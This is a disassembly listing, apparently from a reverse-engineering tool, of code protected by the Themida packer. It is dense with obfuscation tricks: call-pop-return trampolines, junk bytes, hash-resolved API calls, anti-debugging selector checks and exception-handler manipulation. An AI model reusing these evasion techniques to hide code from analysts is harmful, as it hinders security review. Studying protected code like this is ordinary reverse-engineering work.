		mov	dh, 0B7h
		retn	0F2F4h
; ---------------------------------------------------------------------------
		dd 0D655C5D1h, 7C78EC9Bh, 4E821B2h
		db 0EDh

; =============== S U B	R O U T	I N E =======================================



sub_57BFF9	proc near		; CODE XREF: Themida_:0057BFE2p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0057C15D SIZE 000001E2 BYTES

		and	dx, 0FF47h
		pop	edi


loc_57BFFF:				; CODE XREF: Themida_:0057BFDCj
		cmp	eax, 1
		jnz	loc_57C045
		adc	ecx, 5DB1C4BFh
		movsx	ecx, cx
		jmp	loc_57C15D
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	loc_57C021
		and	[edx-3Dh], bl


loc_57C021:				; CODE XREF: sub_57BFF9+20p
		pop	edx
		mov	[esp+arg_0], edx
		add	[esp+arg_0], 17h
		inc	edx
		push	edx
		retn
; ---------------------------------------------------------------------------
		db 47h,	4Ah, 0D3h
		dd 6850F85h, 89000000h,	0E2A3D95h, 9ABF6606h
; ---------------------------------------------------------------------------
		dec	eax


loc_57C045:				; CODE XREF: Themida_:0057BFB4j
					; sub_57BFF9+9j
		jmp	near ptr dword_57B020+14Ch
sub_57BFF9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9D31h
		dd 60E1A1Dh, 4B99589h
; ---------------------------------------------------------------------------


loc_57C054:				; CODE XREF: Themida_:0057BFDAj
		push	cs
		push	es
		mov	eax, eax
		jo	loc_57C064
		mov	edi, [ebp+60E2379h]


loc_57C064:				; CODE XREF: Themida_:0057C058j
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_57C076
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57C08F


loc_57C076:				; CODE XREF: Themida_:0057C06Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+60E1D9Dh],	eax
		lea	ebx, [ebp+610A86Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_57C08F:				; CODE XREF: Themida_:0057C074j
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57C0AF
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+60E1D9Dh],	eax
		lea	ebx, [ebp+610A55Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57C0AF:				; CODE XREF: Themida_:0057C096j
		or	edx, 1B558C60h
		jge	loc_57C0BE
		mov	di, cx


loc_57C0BE:				; CODE XREF: Themida_:0057C0B5j
		mov	eax, eax
		push	0
		push	edi
		call	sub_57C0CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C0CB	proc near		; CODE XREF: Themida_:0057C0C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_57C0CB	endp

; ---------------------------------------------------------------------------
		db 0ADh
		dd 0E9B3E298h, 0Dh, 930AAF23h, 9F7F42Dh, 87F5D102h, 228E9CDh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 872927C3h
; ---------------------------------------------------------------------------
		xor	edx, eax


loc_57C116:				; CODE XREF: Themida_:0057BFA1j
		lea	eax, [ebp+610F913h]
		jmp	loc_57C129
; ---------------------------------------------------------------------------
		db 0B6h, 0EDh, 83h
		dd 30470177h
		db 35h
; ---------------------------------------------------------------------------


loc_57C129:				; CODE XREF: Themida_:0057C11Cj
		mov	[ebp+610FB0Bh],	eax
		and	cx, 0D063h
		jmp	loc_57C187
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_57C144
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C144	proc near		; CODE XREF: Themida_:0057C13Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_57C144	endp

; ---------------------------------------------------------------------------
		dd 665695CFh, 0F98EE781h
; ---------------------------------------------------------------------------
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_57BFF9


loc_57C15D:				; CODE XREF: Themida_:0057BB17j
					; sub_57BFF9+18j
		lea	eax, [ebp+610F71Bh]
		mov	edi, [ebp+60E000Dh]
		inc	eax
		add	edx, [ebp+60E1A71h]
		jns	loc_57C17B
		mov	edi, 472C67EFh


loc_57C17B:				; CODE XREF: sub_57BFF9+177j
		mov	[ebp+610FB0Bh],	eax
		jle	$+6


loc_57C187:				; CODE XREF: Themida_:0057C134j
		push	34h
		lea	eax, [ebp+60E1BF9h]
		push	eax
		push	dword ptr [ebp+610FB0Bh]
		push	0
		call	dword ptr [ebp+60E1FD1h]
		cmp	eax, 7
		jz	loc_57C30F
		mov	bx, ds
		test	bl, 4
		jnz	loc_57C2B5
		mov	byte ptr [ebp+60E2F11h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+610FB7Eh],	eax
		mov	byte ptr [ebp+60E2F11h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+60E19F5h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+60E2F11h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+60E32E1h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		lea	ebx, [ebp+610FB7Ah]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+60E2F11h], 41h
		push	0DB876498h
		push	dword ptr [ebp+60E32E1h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	[ebp+610FB97h],	eax
		mov	byte ptr [ebp+60E2F11h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+60E32E1h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		mov	ebx, [ebp+610FB7Eh]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+610FB83h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+610FB7Eh]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+60E1699h]
		mov	dword ptr [ebp+60E2A79h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+610FB7Eh]
		push	ebx
		push	0
		push	dword ptr [ebp+610FB7Ah]
		call	dword ptr [ebp+610FB97h]


loc_57C2B5:				; CODE XREF: sub_57BFF9+1B4j
		mov	byte ptr [ebp+60E2F11h], 45h
		push	92A5F797h
		push	dword ptr [ebp+60E3031h]
		lea	eax, [ebp+60E3BADh]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_57C30F
		mov	ebx, [ebp+610FB7Eh]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+610FB7Eh]
		push	ebx
		push	0
		push	dword ptr [ebp+610FB7Ah]
		call	dword ptr [ebp+610FB97h]
		push	dword ptr [ebp+610FB7Ah]
		call	dword ptr [ebp+60E1ABDh]


loc_57C30F:				; CODE XREF: sub_57BFF9+1A8j
					; sub_57BFF9+2E2j
		push	0
		call	dword ptr [ebp+60E2E5Dh]
		cmc
		mov	edx, [ebp+60E0945h]
		lea	eax, [ebp+6112E77h]
		sub	cx, 0C745h
		push	eax
		movsx	edx, cx
		push	large dword ptr	fs:0
		push	0
		push	ecx
		call	sub_57C33F
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_57BFF9

; =============== S U B	R O U T	I N E =======================================



sub_57C33F	proc near		; CODE XREF: sub_57BFF9+33Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_57C33F	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		adc	al, 6Ch
		movsx	edi, ax
		mov	large fs:0, esp
		push	0
		push	ebp
		call	sub_57C367
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C367	proc near		; CODE XREF: Themida_:0057C35Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_57C367	endp

; ---------------------------------------------------------------------------
		mov	ds:0F8BF8C7Dh, al
		cmp	dword ptr [ebp+60E0935h], 0
		jz	loc_57C3F8
		jmp	loc_57C3A2
; ---------------------------------------------------------------------------
		dw 907h
		dd 0DBC794F2h, 0F80F0C17h, 77456D7Bh, 8D6ADC23h
		db 8Ah,	98h
; ---------------------------------------------------------------------------


loc_57C3A2:				; CODE XREF: Themida_:0057C389j
		cmp	dword ptr [ebp+60E0D79h], 1
		jnz	loc_57C3F8
		push	0
		push	ebp
		call	sub_57C3BA
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C3BA	proc near		; CODE XREF: Themida_:0057C3B2p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_57C3BA	endp

; ---------------------------------------------------------------------------
		cmc
		pushf
		sub	eax, 6070FB77h
		mov	edi, [ebp+60E1D2Dh]
		mov	ecx, edi
		cmp	byte ptr [ebp+610FF97h], 0
		jnz	loc_57C3F8
		mov	edi, esi
		mov	edi, ebx
		jmp	loc_57C52E
; ---------------------------------------------------------------------------
		mov	dx, bx
		or	[ebp+60E1549h],	edi


loc_57C3F8:				; CODE XREF: Themida_:0057C383j
					; Themida_:0057C3A9j ...
		xor	ebx, ebx
		mov	edx, esi
		xor	eax, eax
		pusha
		jnz	loc_57C40B
		mov	edi, [ebp+60E102Dh]


loc_57C40B:				; CODE XREF: Themida_:0057C3FFj
		popa
		inc	eax
; ---------------------------------------------------------------------------
		db 0Fh,	3Fh, 7
		dd 58F640Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	edx, [ebp+60E1599h]
		push	0
		push	ebx
		call	sub_57C42C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C42C	proc near		; CODE XREF: Themida_:0057C424p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_57C42C	endp

; ---------------------------------------------------------------------------
		dd 63FC1642h, 0E30EEEA8h, 0EBEEB966h, 0FFFFB83h, 1784h
		dd 318D8B00h, 0E9060E0Fh, 0C8h,	0F9DBD8Bh, 958B060Eh, 60E2D5Dh
		dd 51E9h, 8DBD8B00h, 8B060E04h,	0C70C244Ch, 0A481h, 0FFFFFF00h
		dd 0B88183FFh, 4000000h, 8BC3C033h, 550C245Ch, 0E8h, 0ED815D00h
		dd 6112E99h, 0B8838Bh, 858D0000h, 6112F32h, 0B88389h, 335D0000h
		dd 8D29C3C0h, 60E2E69h,	0F598D29h, 858D060Eh, 6112E8Fh
		dd 0CE8h, 932ECD00h, 4F5CA8F1h,	0A2D59E60h, 29958BE7h
		dd 5F060E2Eh, 4299D281h, 645028CFh, 35FFh, 85090000h, 60E3335h
		dd 258964h, 66000000h, 2497D181h, 0AB9h, 0D704B800h, 64054855h
		dd 0BB0DF781h, 8685D465h, 34B640BAh, 0E8EA8100h, 0ED00345Fh
		dd 5868FB81h, 0A75564Dh, 2FFD85C7h, 1060Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_57C52E:				; CODE XREF: Themida_:0057C3EAj
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_57C550
; ---------------------------------------------------------------------------
		db 0FAh, 50h, 5Dh
		dd 2F9B27B6h, 27693FE5h, 3DF44354h, 8CC93F05h
; ---------------------------------------------------------------------------


loc_57C550:				; CODE XREF: Themida_:0057C538j
		mov	edx, [ebp+60E08E5h]
		mov	eax, eax
		push	0
		push	ebp
		call	sub_57C563
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C563	proc near		; CODE XREF: Themida_:0057C55Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_57C563	endp

; ---------------------------------------------------------------------------
		and	eax, edx
		test	al, 37h
		daa
		retn	0A984h
; ---------------------------------------------------------------------------
		mov	[ebp+60E31D5h],	edx
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_57C593
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57C5AC


loc_57C593:				; CODE XREF: Themida_:0057C588j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+60E15C5h],	eax
		lea	ebx, [ebp+610A8D3h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C5AC:				; CODE XREF: Themida_:0057C591j
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57C5CC
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+60E15C5h],	eax
		lea	ebx, [ebp+610A574h]
		call	ebx
		pop	ebx
		pop	eax


loc_57C5CC:				; CODE XREF: Themida_:0057C5B3j
		push	0
		push	edx
		call	sub_57C5D7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57C5D7	proc near		; CODE XREF: Themida_:0057C5CFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_57C5D7	endp

; ---------------------------------------------------------------------------
		aaa
		xor	[edx-1938C60Fh], edx
		fdivp	st(2), st
		mov	dx, di
		mov	edx, ebx
		mov	di, bx
		push	eax
		movzx	edx, bx
		pop	ecx
		mov	eax, eax
		jmp	loc_57C74B
; ---------------------------------------------------------------------------
		dd 4, 31392E31h, 30h, 6	dup(0)
		db    0
		align 2
aExceptionInfor	db 'Exception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_57C74B:				; CODE XREF: Themida_:0057C5FFj
		cmp	dword ptr [ebp+60E03F1h], 0
		jz	loc_57C885
		lea	eax, [ebp+610A38Bh]
		push	eax
		lea	eax, [ebp+610A2F5h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+610A39Bh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+6113012h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A309h]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+6113016h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A31Bh]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+6113022h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A368h]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+611302Ah]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A386h]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+6113026h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A36Fh]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+611301Ah]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A377h]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		lea	eax, [ebp+6113008h]
		push	eax
		lea	eax, [ebp+611301Eh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+610A37Eh]
		push	eax
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E0A3Dh]
		push	dword ptr [ebp+610A38Bh]
		call	dword ptr [ebp+60E09CDh]
		jmp	loc_57C927
; ---------------------------------------------------------------------------


loc_57C885:				; CODE XREF: Themida_:0057C752j
		cmp	dword ptr [ebp+60E1CA5h], 0
		jz	loc_57C927
		cmp	dword ptr [ebp+60E0D79h], 0
		jnz	loc_57C8B0
		mov	edx, [ebp+60E17E5h]
		add	edx, 1CF8h
		jmp	loc_57C8BF
; ---------------------------------------------------------------------------


loc_57C8B0:				; CODE XREF: Themida_:0057C899j
		lea	edx, [ebp+60E1E7Dh]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_57C8BF:				; CODE XREF: Themida_:0057C8ABj
		mov	[ebp+60E293Dh],	edx
		cmp	dword ptr [ebp+60E293Dh], 0
		jz	loc_57C927
		mov	ebx, [ebp+60E293Dh]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+6113012h],	eax
		mov	ebx, [ebp+60E293Dh]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+6113016h],	eax
		mov	ebx, [ebp+60E293Dh]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+6113022h],	eax
		mov	ebx, [ebp+60E293Dh]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+6113026h],	eax
		mov	ebx, [ebp+60E293Dh]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+611301Ah],	eax


loc_57C927:				; CODE XREF: Themida_:0057C880j
					; Themida_:0057C88Cj ...
		cmp	dword ptr [ebp+60E03F1h], 0
		jnz	loc_57C941
		cmp	dword ptr [ebp+60E1CA5h], 0
		jz	loc_57C9A9


loc_57C941:				; CODE XREF: Themida_:0057C92Ej
		push	dword ptr [ebp+611302Ah]
		push	dword ptr [ebp+611301Eh]
		push	dword ptr [ebp+611301Ah]
		push	dword ptr [ebp+6113026h]
		push	dword ptr [ebp+6113022h]
		push	dword ptr [ebp+6113016h]
		push	dword ptr [ebp+6113012h]
		lea	eax, [ebp+611300Ch]
		push	eax
		lea	eax, [ebp+6113044h]
		push	eax
		lea	eax, [ebp+60E2571h]
		push	eax
		call	dword ptr [ebp+60E2501h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+611302Eh]
		push	eax
		lea	eax, [ebp+60E2571h]
		push	eax
		push	0
		call	dword ptr [ebp+60E1FD1h]
		push	1
		call	dword ptr [ebp+60E2E5Dh]


loc_57C9A9:				; CODE XREF: Themida_:0057C93Bj
		mov	eax, ecx
		pusha
		and	si, 6139h
		mov	eax, eax
		jb	loc_57C9BD
		mov	cx, 839Ah


loc_57C9BD:				; CODE XREF: Themida_:0057C9B3j
		jnz	loc_57C9E0
		jnb	loc_57C9E0
		call	sub_57C9DF
		xchg	eax, esp
		mov	[ebx+2E54243Ch], esp
		xor	al, 34h
		retf	0BCD0h
; ---------------------------------------------------------------------------
		dw 3332h
		db 73h,	0FBh, 0Ch

; =============== S U B	R O U T	I N E =======================================



sub_57C9DF	proc near		; CODE XREF: Themida_:0057C9C9p
		pop	edx


loc_57C9E0:				; CODE XREF: Themida_:loc_57C9BDj
					; Themida_:0057C9C3j
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_57C9F2
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57CA0B


loc_57C9F2:				; CODE XREF: sub_57C9DF+8j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+60E1D9Dh],	eax
		lea	ebx, [ebp+610A86Ch]
		call	ebx
		pop	ebx
		pop	eax


loc_57CA0B:				; CODE XREF: sub_57C9DF+11j
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57CA2B
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+60E1D9Dh],	eax
		lea	ebx, [ebp+610A55Bh]
		call	ebx
		pop	ebx
		pop	eax


loc_57CA2B:				; CODE XREF: sub_57C9DF+33j
		jle	$+6
		or	dx, 2C58h
		mov	eax, eax
		push	0
		push	ebp
		call	sub_57CA43
		and	[ebp-3Dh], bl
sub_57C9DF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_57CA43	proc near		; CODE XREF: sub_57C9DF+5Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_57CA43	endp

; ---------------------------------------------------------------------------
		db 0B3h
; ---------------------------------------------------------------------------
		imul	eax, [esi+eax*2], 3
		xchg	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	dx, 32D2h
		jno	loc_57CA68
		mov	si, 47D2h


loc_57CA68:				; CODE XREF: Themida_:0057CA5Ej
		cmp	dword ptr [ebp+60E0935h], 0
		jz	loc_57CADA
		push	0
		push	edx
		call	sub_57CA80
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CA80	proc near		; CODE XREF: Themida_:0057CA78p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_57CA80	endp

; ---------------------------------------------------------------------------
		dd 5E8608Dh, 44000000h,	0CB7CFFCCh, 6158CE8Bh, 2B2E9h
		dd 0BF0F6000h, 0EE9F0h,	0CCB20000h, 910F1B0Dh, 158DB7B7h
		dd 62D885A5h, 0EE861h, 9D530000h, 6FF92FBFh, 88826828h
		dd 6E2EEE88h, 890FF560h, 0
; ---------------------------------------------------------------------------
		popa
		pop	ecx


loc_57CADA:				; CODE XREF: Themida_:0057CA6Fj
		mov	edi, ds
		movsx	edx, dx
		test	di, 4
		jnz	loc_57CD57
		jmp	loc_57CAFB
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0CE3528B2h, 912D1E06h
		db 0C5h, 15h, 0ADh
; ---------------------------------------------------------------------------


loc_57CAFB:				; CODE XREF: Themida_:0057CAEAj
		jmp	loc_57CB0F
; ---------------------------------------------------------------------------
		mov	ds:468D6EF7h, eax
		cmp	al, [edx]
		db	64h
		pop	edx
		wait
		shl	byte ptr [edi],	1
		inc	ebp
		jns	short loc_57CB63


loc_57CB0F:				; CODE XREF: Themida_:loc_57CAFBj
		cmp	dword ptr [ebp+60E0F4Dh], 0
		jnz	loc_57CB5F
		push	0
		push	ebx
		call	sub_57CB27
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CB27	proc near		; CODE XREF: Themida_:0057CB1Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57CB27	endp

; ---------------------------------------------------------------------------
		db 95h
		dd 61D6EB0Fh, 890F28CDh, 0Bh, 5890Fh, 81660000h, 0E9C7C1CEh
		dd 203h, 0BF666050h, 0BF0FA519h
; ---------------------------------------------------------------------------
		mul	dword ptr [ecx+59h]


loc_57CB5F:				; CODE XREF: Themida_:0057CB16j
		sub	edi, edi
		push	0


loc_57CB63:				; CODE XREF: Themida_:0057CB0Dj
		push	edi
		call	sub_57CB6C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CB6C	proc near		; CODE XREF: Themida_:0057CB64p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_57CB6C	endp

; ---------------------------------------------------------------------------
		neg	dword ptr [esi-7DD0DD5Eh]
		stc
		lea	ebx, [ebp+61136E5h]
		mov	dh, 0F6h
		xchg	eax, ebx
		call	near ptr loc_57CB9A+2
		or	al, 7Ch
		inc	esi
		dec	ebx
		sbb	eax, 41274C56h


loc_57CB9A:				; CODE XREF: Themida_:0057CB8Cp
		mov	eax, 0BB76BED2h
		add	[ecx+59h], bh
		push	eax
		mov	cx, 0E2B7h
		xchg	eax, ebx
		jl	loc_57CBB0
		mov	dl, ah


loc_57CBB0:				; CODE XREF: Themida_:0057CBA8j
		push	large dword ptr	fs:0
		push	0
		push	edi
		call	sub_57CBC2
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CBC2	proc near		; CODE XREF: Themida_:0057CBBAp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57CBC2	endp

; ---------------------------------------------------------------------------
		dw 416h
		dd 61F7BC83h, 8E0F9Ch, 64000000h, 2589h, 66600000h, 0F61D68Bh
		dd 385h, 0C8BF0F00h, 6AC48Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0F8FF68C3h, 0CDFE6CCBh
		dd 6A00EB01h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 0B6BBC357h, 0EFD92B85h, 0D8806079h
		dd 0EE961F1h, 0FB000000h, 5E135B02h, 0FA82B24Fh, 161755CCh
		dd 58F64BFh, 0
; ---------------------------------------------------------------------------
		jmp	loc_57CC6B
; ---------------------------------------------------------------------------
		db 87h,	0CDh, 7Eh
; ---------------------------------------------------------------------------
		or	eax, 3CE71B25h
		or	bl, ah


loc_57CC6B:				; CODE XREF: Themida_:0057CC5Cj
		add	esp, 4
		cmc
		or	eax, eax
		jz	loc_57CD57
		mov	edx, esi
		jmp	loc_57CC90
; ---------------------------------------------------------------------------
		dw 34E1h
		dd 0B734361h, 0DC04A963h, 433ED375h, 86CEB526h
; ---------------------------------------------------------------------------


loc_57CC90:				; CODE XREF: Themida_:0057CC79j
		popa
		add	edx, 1AF1D1CEh
		lea	edi, [ebp+60E719Bh]
		clc
		mov	eax, 1
		push	0
		push	edi
		call	sub_57CCAE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CCAE	proc near		; CODE XREF: Themida_:0057CCA6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_57CCAE	endp

; ---------------------------------------------------------------------------
		dw 938Fh
		dd 52E8740h, 0FFE88A22h, 13E9E7h, 0A6110000h, 0AAD0C869h
		dd 5B9F4491h, 0FF62D5DEh, 0F2722432h, 5C8B57AFh, 838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 0B6C3C033h, 58C0FE6h, 0B9000000h, 6066A75Ch,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0CFC35545h, 798B857h
		dd 0FE848h, 0F5190000h,	0DFDFF93Fh, 7DD447A5h, 94C747DEh
		dd 0B70F601Ah, 6E8C1h, 0DC800000h, 0F9248FD1h
; ---------------------------------------------------------------------------
		pop	edi
		popa
		pop	edx


loc_57CD57:				; CODE XREF: Themida_:0057CAE4j
					; Themida_:0057CC71j
		popa
		movzx	ecx, bx
		mov	dl, 2Eh
		mov	eax, eax
		pusha
		pusha
		xor	al, 98h
		jno	$+6
		popa
		mov	ebx, 2584EAE6h
		popa
		cmp	dword ptr [ebp+60E0E21h], 0
		jnz	short loc_57CD83
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57CD9C


loc_57CD83:				; CODE XREF: Themida_:0057CD78j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+60E15C5h],	eax
		lea	ebx, [ebp+610A8D3h]
		call	ebx
		pop	ebx
		pop	eax


loc_57CD9C:				; CODE XREF: Themida_:0057CD81j
		cmp	dword ptr [ebp+60E0FC5h], 0
		jz	short loc_57CDBC
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+60E15C5h],	eax
		lea	ebx, [ebp+610A574h]
		call	ebx
		pop	ebx
		pop	eax


loc_57CDBC:				; CODE XREF: Themida_:0057CDA3j
		cmc
		adc	ch, 3Ah
		mov	eax, eax
		push	0
		push	edx
		call	sub_57CDCD
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CDCD	proc near		; CODE XREF: Themida_:0057CDC5p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_57CDCD	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 498Dh
		dd 38F06F1h, 0BFB666E8h, 28B0Fh, 0F28B0000h, 0AE8C28Bh
		dd 33000000h, 910B89ACh, 1C1A4C3Bh, 0CAB70FF9h,	0EBBA665Fh
		dd 0BFC781B3h, 8B00005Ch, 16FD68C8h, 8B660000h,	0C9815ED3h
		dd 4202C6CEh, 810F37FFh, 4, 0D7D7BB66h,	0C88B6658h, 0DEB7F081h
		dd 81664EDBh, 81C3F1CAh, 6D12ECF0h, 7810F35h, 60000000h
